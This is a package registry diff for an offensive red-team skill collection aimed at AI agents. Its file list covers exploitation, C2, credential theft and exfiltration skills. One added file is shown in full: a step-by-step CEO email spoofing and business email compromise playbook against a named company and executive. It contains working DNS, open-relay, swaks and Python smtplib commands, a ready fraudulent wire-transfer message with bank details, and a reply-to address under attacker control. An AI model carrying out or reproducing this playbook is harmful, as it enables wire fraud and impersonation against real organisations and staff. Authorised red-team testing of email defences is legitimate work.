rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,518 @@
1
+ ---
2
+ name: rt-scenario-w009
3
+ description: "W-009: DMARC p=none → CEO Email Spoofing → BEC. Domain: web. Attack chain: DNS query _dmarc.target.com → p=none confirmed → send email from CEO → finance wire transfer. MITRE: T1566.001 → T1534 → T1648. Real example: Almentor: DMARC p=none → spoof ihab.fikry@almentor.net → BEC attack on finance team"
4
+ ---
5
+
6
+ # W-009: DMARC p=none → CEO Email Spoofing → BEC
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Exploit a DMARC policy set to `p=none` to send spoofed emails from the CEO's address, instructing the finance team to execute an unauthorized wire transfer (Business Email Compromise).
11
+
12
+ | Property | Value |
13
+ |---|---|
14
+ | Required Access Level | None (external attacker) |
15
+ | Estimated Time to Execute | 30–90 minutes |
16
+ | Detection Risk Level | Low (p=none means no enforcement; emails land in inbox) |
17
+ | Impact | Financial loss, reputational damage, regulatory exposure |
18
+
19
+ ---
20
+
21
+ ## Prerequisites
22
+
23
+ ### Required Tools
24
+
25
+ ```bash
26
+ # DNS enumeration
27
+ dig # pre-installed on Linux/macOS
28
+ nslookup # pre-installed on Windows
29
+ host # pre-installed on Linux/macOS
30
+
31
+ # MX record and mail flow analysis
32
+ mxtoolbox # https://mxtoolbox.com (web-based, no install needed)
33
+
34
+ # Email spoofing / sending
35
+ swaks # Swiss Army Knife SMTP
36
+ # Install:
37
+ sudo apt install swaks # Debian/Ubuntu
38
+ brew install swaks # macOS
39
+
40
+ # Python alternative (built-in)
41
+ python3 -c "import smtplib" # verify smtplib available
42
+
43
+ # DMARC/SPF/DKIM analysis
44
+ checkdmarc # Python tool
45
+ pip3 install checkdmarc
46
+
47
+ # Optional: open relay discovery
48
+ telnet # pre-installed on most systems
49
+ nmap # https://nmap.org
50
+ sudo apt install nmap
51
+ ```
52
+
53
+ ### Required Access or Conditions
54
+
55
+ - Internet access (no internal access required)
56
+ - Target domain name (e.g., `almentor.net`)
57
+ - Knowledge of CEO name and email format (OSINT phase)
58
+ - A controllable SMTP server or open relay (for sending spoofed mail)
59
+ - A plausible finance team recipient address (OSINT or guessed from pattern)
60
+
61
+ ### Skill Level
62
+
63
+ **INTERMEDIATE** — Requires understanding of email authentication protocols (SPF, DKIM, DMARC), SMTP mechanics, and social engineering principles.
64
+
65
+ ---
66
+
67
+ ## Attack Chain
68
+
69
+ ```
70
+ [RECONNAISSANCE]
71
+ DNS query: _dmarc.target.com
72
+ |
73
+ v
74
+ [VULNERABILITY CONFIRMED]
75
+ DMARC p=none → no enforcement, spoofed mail delivered
76
+ |
77
+ v
78
+ [WEAPONIZATION]
79
+ Craft email: From: CEO <ihab.fikry@almentor.net>
80
+ Reply-To: attacker-controlled address
81
+ Body: urgent wire transfer request
82
+ |
83
+ v
84
+ [DELIVERY]
85
+ Send via open relay / attacker SMTP → finance team inbox
86
+ |
87
+ v
88
+ [EXPLOITATION]
89
+ Finance team receives email, believes it is from CEO
90
+ Wire transfer executed to attacker account
91
+ |
92
+ v
93
+ [IMPACT]
94
+ Financial loss (BEC)
95
+ ```
96
+
97
+ **MITRE ATT&CK Chain:** T1566.001 → T1534 → T1648
98
+
99
+ ---
100
+
101
+ ## Step-by-Step Execution
102
+
103
+ ### Step 1 — Confirm DMARC Policy
104
+
105
+ Query the DMARC TXT record for the target domain.
106
+
107
+ ```bash
108
+ # Using dig
109
+ dig TXT _dmarc.almentor.net +short
110
+
111
+ # Using nslookup (Windows)
112
+ nslookup -type=TXT _dmarc.almentor.net
113
+
114
+ # Using checkdmarc (most detailed output)
115
+ checkdmarc almentor.net
116
+ ```
117
+
118
+ **Expected Output (vulnerable):**
119
+
120
+ ```
121
+ "v=DMARC1; p=none; rua=mailto:dmarc-reports@almentor.net"
122
+ ```
123
+
124
+ The key field is `p=none`. This means the domain owner has DMARC monitoring enabled but **no enforcement**. Spoofed emails will be delivered.
125
+
126
+ **What to look for:**
127
+
128
+ | Policy | Meaning | Exploitable? |
129
+ |---|---|---|
130
+ | `p=none` | No enforcement, report only | YES |
131
+ | `p=quarantine` | Suspicious mail goes to spam | PARTIAL |
132
+ | `p=reject` | Spoofed mail rejected | NO |
133
+
134
+ **Fallback if no DMARC record exists:**
135
+
136
+ ```bash
137
+ dig TXT _dmarc.almentor.net
138
+ # Returns: NXDOMAIN or no TXT record
139
+ ```
140
+
141
+ No DMARC record = even more permissive than `p=none`. Attack proceeds identically.
142
+
143
+ ---
144
+
145
+ ### Step 2 — Enumerate SPF Record
146
+
147
+ Check whether SPF is configured and how strict it is.
148
+
149
+ ```bash
150
+ dig TXT almentor.net +short | grep spf
151
+
152
+ # Expected output example:
153
+ "v=spf1 include:_spf.google.com include:mailgun.org ~all"
154
+ ```
155
+
156
+ **SPF Qualifiers:**
157
+
158
+ | Qualifier | Meaning | Impact on spoofing |
159
+ |---|---|---|
160
+ | `-all` | Hard fail | SPF will reject; rely on DMARC p=none bypass |
161
+ | `~all` | Soft fail | Mail tagged but delivered |
162
+ | `?all` | Neutral | No guidance |
163
+ | `+all` | Pass all (misconfigured) | Trivially spoofable |
164
+
165
+ Note: With `p=none` DMARC, even an SPF `-all` hard fail does not block delivery — DMARC p=none means "do nothing" regardless of SPF/DKIM result. The email is delivered and a report is sent to the domain owner.
166
+
167
+ ---
168
+
169
+ ### Step 3 — OSINT: Identify CEO and Finance Target
170
+
171
+ Gather the CEO name, email, and finance team contacts.
172
+
173
+ ```bash
174
+ # LinkedIn search (manual)
175
+ # Search: site:linkedin.com "almentor" "CFO" OR "Finance Manager" OR "Finance Director"
176
+
177
+ # Email pattern discovery
178
+ # If one email is known (e.g., from a previous data breach or website):
179
+ # ihab.fikry@almentor.net → pattern is firstname.lastname@almentor.net
180
+
181
+ # Hunter.io (web-based)
182
+ # https://hunter.io/domain/almentor.net
183
+ # Returns known email addresses and inferred pattern
184
+
185
+ # theHarvester
186
+ theHarvester -d almentor.net -b linkedin,google,bing
187
+
188
+ # Verify email is live (optional, careful — may alert target)
189
+ swaks --to finance@almentor.net --server mail.almentor.net --quit-after RCPT
190
+ ```
191
+
192
+ **Expected Output from theHarvester:**
193
+
194
+ ```
195
+ [*] Emails found: 3
196
+ ihab.fikry@almentor.net
197
+ finance@almentor.net
198
+ info@almentor.net
199
+ ```
200
+
201
+ ---
202
+
203
+ ### Step 4 — Identify Sending Infrastructure
204
+
205
+ Choose a method to send the spoofed email.
206
+
207
+ #### Option A: Open Relay (Scan for misconfigured SMTP servers)
208
+
209
+ ```bash
210
+ # Scan for open relays on common SMTP ports
211
+ nmap -p 25,465,587 --script smtp-open-relay almentor.net
212
+
213
+ # Manual test via telnet
214
+ telnet mail.almentor.net 25
215
+ EHLO attacker.com
216
+ MAIL FROM:<ihab.fikry@almentor.net>
217
+ RCPT TO:<finance@almentor.net>
218
+ ```
219
+
220
+ **Expected Output (open relay confirmed):**
221
+
222
+ ```
223
+ 250 2.1.0 Ok
224
+ 250 2.1.5 Ok
225
+ ```
226
+
227
+ #### Option B: Use a Permissive External SMTP (e.g., free SMTP service, VPS)
228
+
229
+ ```bash
230
+ # Set up Postfix on attacker VPS (Ubuntu)
231
+ sudo apt install postfix
232
+ # Configure as open relay for testing (authorized engagement only)
233
+ # /etc/postfix/main.cf:
234
+ # mynetworks = 0.0.0.0/0
235
+ # smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated
236
+ sudo systemctl restart postfix
237
+ ```
238
+
239
+ #### Option C: Python smtplib (simplest, uses attacker-controlled server)
240
+
241
+ ```python
242
+ # spoof_email.py
243
+ import smtplib
244
+ from email.mime.text import MIMEText
245
+ from email.mime.multipart import MIMEMultipart
246
+
247
+ SMTP_SERVER = "your-vps-ip" # attacker-controlled SMTP
248
+ SMTP_PORT = 25
249
+
250
+ FROM_DISPLAY = "Ihab Fikry (CEO)"
251
+ FROM_ADDRESS = "ihab.fikry@almentor.net" # spoofed
252
+ REPLY_TO = "attacker-controlled@gmail.com"
253
+ TO_ADDRESS = "finance@almentor.net"
254
+
255
+ msg = MIMEMultipart("alternative")
256
+ msg["Subject"] = "Urgent: Wire Transfer Required Today"
257
+ msg["From"] = f"{FROM_DISPLAY} <{FROM_ADDRESS}>"
258
+ msg["To"] = TO_ADDRESS
259
+ msg["Reply-To"] = REPLY_TO
260
+
261
+ body = """
262
+ Dear Finance Team,
263
+
264
+ I need you to process an urgent wire transfer of $47,500 to our new vendor
265
+ account before end of business today. This is time-sensitive — please
266
+ prioritize this above other tasks.
267
+
268
+ Bank: First National Bank
269
+ Account Name: Global Supplies LLC
270
+ Account Number: 8847291034
271
+ Routing Number: 021000021
272
+ Reference: INV-2024-0089
273
+
274
+ Please confirm once done. Do not discuss this with others as it is
275
+ commercially sensitive.
276
+
277
+ Best regards,
278
+ Ihab Fikry
279
+ CEO, Almentor
280
+ """
281
+
282
+ msg.attach(MIMEText(body, "plain"))
283
+
284
+ with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server:
285
+ server.sendmail(FROM_ADDRESS, TO_ADDRESS, msg.as_string())
286
+ print("[+] Email sent successfully")
287
+ ```
288
+
289
+ ---
290
+
291
+ ### Step 5 — Craft and Send the Spoofed Email
292
+
293
+ Using `swaks` (recommended for authorized engagements — detailed logging):
294
+
295
+ ```bash
296
+ swaks \
297
+ --from "ihab.fikry@almentor.net" \
298
+ --to "finance@almentor.net" \
299
+ --server your-vps-ip \
300
+ --port 25 \
301
+ --header "Subject: Urgent: Wire Transfer Required Today" \
302
+ --header "Reply-To: attacker@gmail.com" \
303
+ --header "From: Ihab Fikry (CEO) <ihab.fikry@almentor.net>" \
304
+ --body "Please process the attached wire transfer immediately. Details to follow. - Ihab" \
305
+ --add-header "X-Priority: 1" \
306
+ --add-header "Importance: High"
307
+ ```
308
+
309
+ **Expected Output:**
310
+
311
+ ```
312
+ === Trying your-vps-ip:25...
313
+ === Connected to your-vps-ip.
314
+ <- 220 mail.attacker.com ESMTP Postfix
315
+ -> EHLO attacker.com
316
+ <- 250-mail.attacker.com
317
+ <- 250 8BITMIME
318
+ -> MAIL FROM:<ihab.fikry@almentor.net>
319
+ <- 250 2.1.0 Ok
320
+ -> RCPT TO:<finance@almentor.net>
321
+ <- 250 2.1.5 Ok
322
+ -> DATA
323
+ <- 354 End data with <CR><LF>.<CR><LF>
324
+ -> [message body]
325
+ -> .
326
+ <- 250 2.0.0 Ok: queued as A1B2C3D4E5
327
+ -> QUIT
328
+ <- 221 2.0.0 Bye
329
+ === Connection closed with remote host.
330
+ [+] Email delivered to finance@almentor.net
331
+ ```
332
+
333
+ **Fallback if delivery fails:**
334
+
335
+ ```bash
336
+ # Try port 587 with STARTTLS
337
+ swaks --from "ihab.fikry@almentor.net" \
338
+ --to "finance@almentor.net" \
339
+ --server smtp.gmail.com \
340
+ --port 587 \
341
+ --tls \
342
+ --auth LOGIN \
343
+ --auth-user attacker@gmail.com \
344
+ --auth-password "app-password-here"
345
+ ```
346
+
347
+ ---
348
+
349
+ ### Step 6 — Monitor Reply-To for Response
350
+
351
+ ```bash
352
+ # Watch attacker-controlled inbox for finance team reply
353
+ # If finance team replies to "Reply-To: attacker@gmail.com", the BEC is in progress
354
+
355
+ # Escalate: provide fake banking details, invoice, or ACH form
356
+ # This step is social engineering — no technical commands
357
+ ```
358
+
359
+ ---
360
+
361
+ ### Step 7 — Verify Delivery (for authorized engagement reporting)
362
+
363
+ ```bash
364
+ # Request delivery confirmation via SMTP DSN (optional)
365
+ swaks \
366
+ --from "ihab.fikry@almentor.net" \
367
+ --to "finance@almentor.net" \
368
+ --server your-vps-ip \
369
+ --add-header "Disposition-Notification-To: ihab.fikry@almentor.net" \
370
+ --body "Test message for authorized red team engagement W-009"
371
+
372
+ # Check DMARC aggregate reports (sent to rua address)
373
